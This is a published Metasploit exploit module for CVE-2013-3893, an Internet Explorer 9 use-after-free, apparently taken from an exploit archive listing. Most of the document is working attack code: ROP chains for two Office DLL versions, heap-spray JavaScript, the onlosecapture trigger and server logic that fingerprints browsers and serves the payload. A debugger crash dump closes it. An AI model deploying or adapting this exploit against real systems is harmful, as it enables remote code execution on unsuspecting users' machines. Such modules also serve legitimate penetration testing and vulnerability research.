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Microsoft Internet Explorer SetMouseCapture Use-After-Free

Microsoft Internet Explorer SetMouseCapture Use-After-Free
Posted Sep 30, 2013
Authored by sinn3r, temp66 | Site metasploit.com

This Metasploit module exploits a use-after-free vulnerability that targets Internet Explorer 9 on Windows 7. The flaw most likely exists in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and passed on to more functions, eventually arriving in function MSHTML!CTreeNode::GetInterface, and causing a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack.

tags | exploit, arbitrary, code execution
systems | windows, 7
advisories | CVE-2013-3893, OSVDB-97380
MD5 | 963f37fd3f414ed4fdd3070cd4eb2c8b

Microsoft Internet Explorer SetMouseCapture Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability that currents targets Internet
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
It was initially found in the wild in Japan, but other regions such as English,
Chinese, Korean, etc, were targeted as well.

The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
reference during an event. An attacker first can setup two elements, where the second
is the child of the first, and then setup a onlosecapture event handler for the parent
element. The onlosecapture event seems to require two setCapture() calls to trigger,
one for the parent element, one for the child. When the setCapture() call for the child
element is called, it finally triggers the event, which allows the attacker to cause an
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
memory. The exact size of this memory may differ based on the version of IE. After the
free, an invalid reference will still be kept and pass on to more functions, eventuall
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
code execution) when this function attempts to use this reference to call what appears to
be a PrivateQueryInterface due to the offset (0x00).

To mimic the same exploit found in the wild, this module will try to use the same DLL
from Microsoft Office 2007 or 2010 to leverage the attack.

},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild first spotted in Japan
'sinn3r' # Metasploit (thx binjo for the heads up!)
],
'References' =>
[
[ 'CVE', '2013-3893' ],
[ 'OSVDB', '97380' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
},
'DefaultOptions' =>
{
'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))
end

def is_win7_ie9?(agent)
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
end

def get_preq_html(cli, req)
%Q|
<html>
<script>
function getDLL() {
var checka = 0;
var checkb = 0;

try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}

try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}

if ((typeof checka) == "object" && (typeof checkb) == "object") {
return "office2010";
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
return "office2007";
}

return "na";
}

window.onload = function() {
document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL();
}
</script>
</html>
|
end

def junk
return rand_text_alpha(4).unpack("V")[0].to_i
end

def get_payload(rop_dll)
code = payload.encoded
rop = ''
p = ''

case rop_dll
when :office2007
rop =
[
junk, # Alignment
0x51c46f91, # POP EBP # RETN [hxds.dll]
0x51c46f91, # skip 4 bytes [hxds.dll]
0x51c35a4d, # POP EBX # RETN [hxds.dll]
0xffffffff,
0x51bd90fd, # INC EBX # RETN [hxds.dll]
0x51bd90fd, # INC EBX # RETN [hxds.dll]
0x51bfa98e, # POP EDX # RETN [hxds.dll]
0xffffefff,
0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c1df88, # NEG EAX # RETN [hxds.dll]
0x51c55c45, # DEC EAX, RETN [hxds.dll]
0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c4c17c, # POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll]
0x51c1df88, # NEG EAX # RETN [hxds.dll]
0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll]
0x51c05766, # POP EDI # RETN [hxds.dll]
0x51bfbaaf, # RETN (ROP NOP) [hxds.dll]
0x51c2e77d, # POP ESI # RETN [hxds.dll]
0x51bfc840, # JMP [EAX] [hxds.dll]
0x51c05266, # POP EAX # RETN [hxds.dll]
0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll]
0x51bdf91f, # PUSHAD # RETN [hxds.dll]
0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll]
].pack("V*")

when :office2010
rop =
[
# 4 dword junks due to the add esp in stack pivot
junk,
junk,
junk,
junk,
0x51c41953, # POP EBP # RETN [hxds.dll]
0x51be3a03, # RETN (ROP NOP) [hxds.dll]
0x51c41953, # skip 4 bytes [hxds.dll]
0x51c4486d, # POP EBX # RETN [hxds.dll]
0xffffffff,
0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll]
0x51bd1a77, # INC EAX # RETN [hxds.dll]
0x51bd1a77, # INC EAX # RETN [hxds.dll]
0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll]
0x51bfa298, # POP EDX # RETN [hxds.dll]
0xffffefff,
0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll]
0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51bd5382, # DEC EAX # RETN [hxds.dll]
0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c1f094, # POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll]
0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll]
0x51bf1ff0, # POP EDI # RETN [hxds.dll]
0x51bd5383, # RETN (ROP NOP) [hxds.dll]
0x51c07c8b, # POP ESI # RETN [hxds.dll]
0x51bfc7cb, # JMP [EAX] [hxds.dll]
0x51c44707, # POP EAX # RETN [hxds.dll]
0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll]
0x51c3604e, # PUSHAD # RETN [hxds.dll]
0x51c541ef, # ptr to 'jmp esp' [hxds.dll]
].pack("V*")
end

p = rop + code
p
end

def get_exploit_html(cli, req, rop_dll)
gadgets = {}
case rop_dll
when :office2007
gadgets[:spray1] = 0x1af40020

# 0x31610020-0xc4, pointer to gadgets[:call_eax]
gadgets[:target] = 0x3160ff5c

# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[:call_eax] = 0x51bd1ce8

# xchg eax,esp
# add byte [eax], al
# pop esi
# mov [edi+23c], ebp
# mov [edi+238], ebp
# mov [edi+234], ebp
# pop ebp
# pop ebx
# ret
gadgets[:pivot] = 0x51be4418

when :office2010
gadgets[:spray1] = 0x1a7f0020

# 0x30200020-0xc4, pointer to gadgets[:call_eax]
gadgets[:target] = 0x301fff5c

# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[:call_eax] = 0x51bd1a41

# xchg eax,esp
# add eax,dword ptr [eax]
# add esp,10
# mov eax,esi
# pop esi
# pop ebp # retn 4
gadgets[:pivot] = 0x51c00e64
end

p1 =
[
gadgets[:target], # Target address
gadgets[:pivot] # stack pivot
].pack("V*")

p1 << get_payload(rop_dll)

p2 =
[
gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
].pack("V*")

js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
js_p1 = Rex::Text.to_unescape(p1)
js_p2 = Rex::Text.to_unescape(p2)

%Q|
<html>
<script>
#{js_property_spray}

function loadOffice() {
try{location.href='ms-help://'} catch(e){}
}

var a = new Array();
function spray() {
var obj = '';
for (i=0; i<20; i++) {
if (i==0) { obj += unescape("#{js_s1}"); }
else { obj += "\\u4242\\u4242"; }
}
obj += "\\u5555";

for (i=0; i<10; i++) {
var e = document.createElement("div");
e.className = obj;
a.push(e);
}

var s1 = unescape("#{js_p1}");
sprayHeap({shellcode:s1, maxAllocs:0x300});
var s2 = unescape("#{js_p2}");
sprayHeap({shellcode:s2, maxAllocs:0x300});
}

function hit()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");

document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);

id_0.onlosecapture=function(e) {
document.write("");
spray();
}

id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}

for (i=0; i<20; i++) {
document.createElement("frame");
}

window.onload = function() {
loadOffice();
hit();
}
</script>
</html>
|
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
unless is_win7_ie9?(agent)
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
end

html = ''
if request.uri =~ /\?dll=(\w+)$/
rop_dll = ''
if $1 == 'office2007'
print_status("Using Office 2007 ROP chain")
rop_dll = :office2007
elsif $1 == 'office2010'
print_status("Using Office 2010 ROP chain")
rop_dll = :office2010
else
print_error("Target does not have Office installed")
send_not_found(cli)
return
end

html = get_exploit_html(cli, request, rop_dll)
else
print_status("Checking target requirements...")
html = get_preq_html(cli, request)
end

send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end

def exploit
@exploit_page = "default.html"
super
end

end

=begin

hxds.dll (Microsoft® Help Data Services Module)

2007 DLL info:
ProductVersion: 2.05.50727.198
FileVersion: 2.05.50727.198 (QFE.050727-1900)

2010 DLL info:
ProductVersion: 2.05.50727.4039
FileVersion: 2.05.50727.4039 (QFE.050727-4000)

mshtml.dll
ProductVersion: 9.00.8112.16446
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
FileDescription: Microsoft (R) HTML Viewer


0:005> r
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::GetInterface+0xd8:
679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=????????


66e13df7 8b0e mov ecx,dword ptr [esi]
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000)
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h]
66e13e01 ffd0 call eax

=end

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